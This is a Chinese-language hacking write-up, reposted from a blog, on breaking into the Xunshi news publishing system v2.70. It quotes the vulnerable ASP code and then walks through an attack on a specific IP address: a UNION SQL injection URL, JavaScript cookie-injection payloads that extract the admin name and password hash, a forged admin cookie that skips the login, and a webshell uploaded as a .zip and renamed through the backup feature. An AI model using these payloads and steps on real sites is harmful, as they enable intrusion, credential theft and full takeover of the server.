三顾讯时--对讯时新闻发布系统的艰难突破
作者:月無痕&&花非花
來源:紅狼安全小組(www.wolfexp.net,www.crst.com.cn)
注:本文以發(fā)表于黑客手冊,轉(zhuǎn)載請加上出處
一.接觸起因
這幾天事情較多,一直都沒去老大的論壇轉(zhuǎn)!今天好友joli突然Q我說論壇上有人發(fā)了個腳本的問題,叫我也一起看一下,于是我就跑過去看了下(你家離論壇很近?竟然可以跑著過去!),也就有了下面這篇文章(測試版本為訊時新聞發(fā)布系統(tǒng)v2.70版 )。
二.漏洞初探
打算先看有沒有經(jīng)典的OR漏洞,雖然已經(jīng)出來很久的漏洞了,但是很多程序仍然會存在這樣的漏洞,admin_login.asp存在如下代碼:
if request("user")="" or request("pass")=""then
conn.close
set conn=nothing
Response.Redirect "login.asp?id=0"
’如果user或者pass等于空就掉轉(zhuǎn)到login.asp?id=0這個頁面上
else '注釋下如果上面條件不成立就執(zhí)行下面語句
user=LCase(chkhtm(request("user")))'注釋下這里先用chkhtm函數(shù)過濾然后用lcase在過濾
pass=md5(chkhtm(trim(request("pass"))))
’然后帶入sql語句查詢
sql = "select * from admin where [user]='"&user&"' and [pass]='"&pass&"'"
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open sql,conn,1,1
好!上面關鍵的地方我都進行了一下注釋,最關鍵的地方就是chkhtm函數(shù),他是做什么的?我在titleb.asp中找到了他的定義!
function chkhtm(stra)
stra=replace(stra,"<","<")
stra=replace(stra,">",">")
stra=replace(stra,"'","")
stra=replace(stra,"(","(")
stra=replace(stra,")",")")
stra=replace(stra,";",";")
stra=replace(stra,",",",")
stra=replace(stra,"%","%")
stra=replace(stra,"+","+")
chkhtm=stra
end function
很明顯的一個過濾函數(shù),在函數(shù)的第四行,已經(jīng)過濾掉了“'”號了,所以OR漏洞是沒戲了,思路到這里就斷了。
三.再探漏洞
在查看代碼的時候曾經(jīng)被某人誤導,一直抓不到點子上去了,這時候花非花剛好來上網(wǎng),我把程序傳給他,他把思路告訴我,然后他讓我看了admin_chk.asp文件,大概代碼如下:
<%
1.session("admin__user")=Request.Cookies("adminuser")
2.session("admin__pass")=Request.Cookies("adminpass")
3.session("dJ")=Request.Cookies("admindj")
4.adminuser=Request.Cookies("adminuser")
5.adminpass=Request.Cookies("adminpass")
6.admindj=Request.Cookies("admindj")
7.if adminuser="" or adminpass="" then
8. Response.Redirect "login.asp?id=8"
9.end if
...省略部分代碼...
10.user=trim(session("admin__user"))
11.pass=session("admin__pass")
12.sql = "select * from admin where [user]='"&adminuser&"' and [pass]='"&adminpass&"'"
13.Set rs = Server.CreateObject("ADODB.RecordSet")
14.rs.Open sql,conn,1,1
15.if rs.recordcount=0 then
16. Response.Redirect "login.asp?id=8"
17.end if
...再省略...
%>
1,2,3是通過request.cookies方法從客戶端獲取cookie信息(KEY分別是adminuser,adminpass, admindj),并存入session中,分別對應:session("admin__user")、session("admin__pass")、 session("dj")。然后在4,5,6分別把Request.Cookies("adminuser"),Request.Cookies ("adminpass"),Request.Cookies("admindj")的值存入變量adminuser,adminpass, admindj中,如果變量adminuser,adminpass的值為空,就轉(zhuǎn)到login.asp?id=8頁面,10,11是將session ("admin__user")和session("admin__pass"),存入變量user和pass中。12,13,14將變量 adminuser和adminpass的值參與sql查詢。將拿客戶端的cookie信息進行sql查詢,這樣做的結(jié)果是造成欺騙漏洞,但是由于參與查詢的cookie還包括密碼,所以這種利用條件比較困難,必須在得到用戶的密碼(估計有人要罵我了,呵呵,能得到密碼還COOKIE欺騙干嘛,不過這個密碼是MD加密的,也就是可以省去破解這一步了(另外一個就是cookie注入了,貌似可以,但是我們進行測試之后都構造不出可行的攻擊語句,有高手能搞定的話,請告知一下,先謝過了!)。思路再一次中斷...
四.三顧訊時
正在一籌莫展的石斛,花花說找到了另外一個漏洞,漏洞文件在admin_news_view.asp,漏洞代碼如下:
newsid=trim(request("newsid"))
sql = "select * from news where id="&newsid
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open sql,conn,1,1
這個文件以admin開頭,但是沒有進行權限的判斷等,用戶可直接查看,而這里通過request獲取從客戶端傳來的數(shù)據(jù)newsid的值,并用 trim函數(shù)過濾之后存入變量newsid中。然后將此變量參與SQL查詢。此過程,只用trim函數(shù)過濾了空格并沒有做其他的限制,所以從這里可以看出來一個注入漏洞就產(chǎn)生了。
用order by函數(shù)判斷參與SQL查詢的字段為26個,提交 http://222.90.4.20/news/admin_news_view.asp?newsid=26%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from%20admin ,返回錯誤,如圖1所示:
然后,我們在admin_conn.asp 文件中發(fā)現(xiàn)如下代碼:
sss=LCase(request.servervariables("QUERY_STRING"))
if instr(sss,"select")<>0 or instr(sss,"inster")<>0 or instr(sss,"delete")<>0 or instr(sss,"(")<>0 or instr(sss,"'or")<>0 then
response.write "<BR><BR><center>你的網(wǎng)址不合法"
response.end
end if
過濾了request.querystring方法獲取從客戶端傳來的數(shù)據(jù),過濾的內(nèi)容是select,inster,delete等。雖然做了這個限制,但是我們還是可以利用cookie進行注入,因為前面的漏洞代碼里面用的是request而不是request.querystring,所以我們還有reuqest.cookie方法讓服務端獲取我們這里的數(shù)據(jù)。
先訪問:http://222.90.4.20/news/admin_news_view.asp?newsid=26,然后去掉此URL,再 提交:javascript:alert(document.cookie="newsid="+escape("26 and 1=1"))返回如圖2所示:
然后在訪問http://222.90.4.20/news/admin_news_view.asp,返回如圖3:
說明我們提交的url已經(jīng)有參與了sql查詢,而且查詢所得結(jié)果為真。再提交:
javascript:alert(document.cookie="newsid="+escape("26 and (select asc(mid(user,1,1)) from [admin] where id=1)=97"))
返回如圖4所示:
Click here to open new window CTRL+Mouse wheel to zoom in/out
判斷id=1的user(管理員)的第一個字符的ascii碼值是否為97。相信大家以前看過花花的文章,大概的cookie注入也就這樣了。下面是猜密碼的。
javascript:alert(document.cookie="newsid="+escape("26 and (select asc(mid(pass,1,1)) from [admin] where id=1)=97"))
通過一一猜解所得的用戶名和密碼的ASSCII分別是97 100 109 105 110,50 49 50 51 50 102 50 57 55 97 53 55 97 53 97 55 52 51 56 57 52 97 48 101 52 97 56 48 49 102 99 51,轉(zhuǎn)換后的結(jié)果分別是admin和21232f297a57a5a743894a0e4a801fc3。然后我們不必去破解密碼,拿出老兵叔的 cookie欺騙工具,在cookies欄里輸入:admindj=1; adminpass=21232f297a57a5a743894a0e4a801fc3; adminuser=admin; (保持綠色小球處于按下狀態(tài))然后在address欄里輸入:http://222.90.4.20/news/admin_index.asp,提交!這樣我們就可以不經(jīng)登陸直接進到后臺了。如圖5所示:
進到后臺就是拿WEBSHELL了。打開網(wǎng)友投稿,如圖6所示:
打開查看審查,然后傳個.zip(需要是允許上傳的類型)的馬上去。如圖7所示:
然后,查看編輯器的代碼,如圖8所示:
可以看到這樣一行字:<a href="/news/edit/uploadfile/2007213131454997.zip" ....
然后記下這一路徑:/news/edit/uploadfile/2007213131454997.zip
再打開備份,如圖9所示:
然后把路徑等設置好,如圖10所示:
然后提交,返回如圖11所示:
這里我們獲得了物理路徑,然后就可以提交URL:http://222.90.4.20/news/databackup/LST.ASP
返回如圖12所示:
呵呵,熟悉的界面,明哥的DIY.Asp。
此文經(jīng)過一波三折,最終成功拿下WEBSHELL,沒什么高深的技術,也就是一條思路。感謝我的好友JOLI和花非花。
轉(zhuǎn)載于:https://www.cnblogs.com/shanmao/archive/2012/11/15/2772421.html
總結(jié)
以上是生活随笔為你收集整理的三顾讯时--对讯时新闻发布系统的艰难突破的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 考勤报表生成
- 下一篇: java信息管理系统总结_java实现科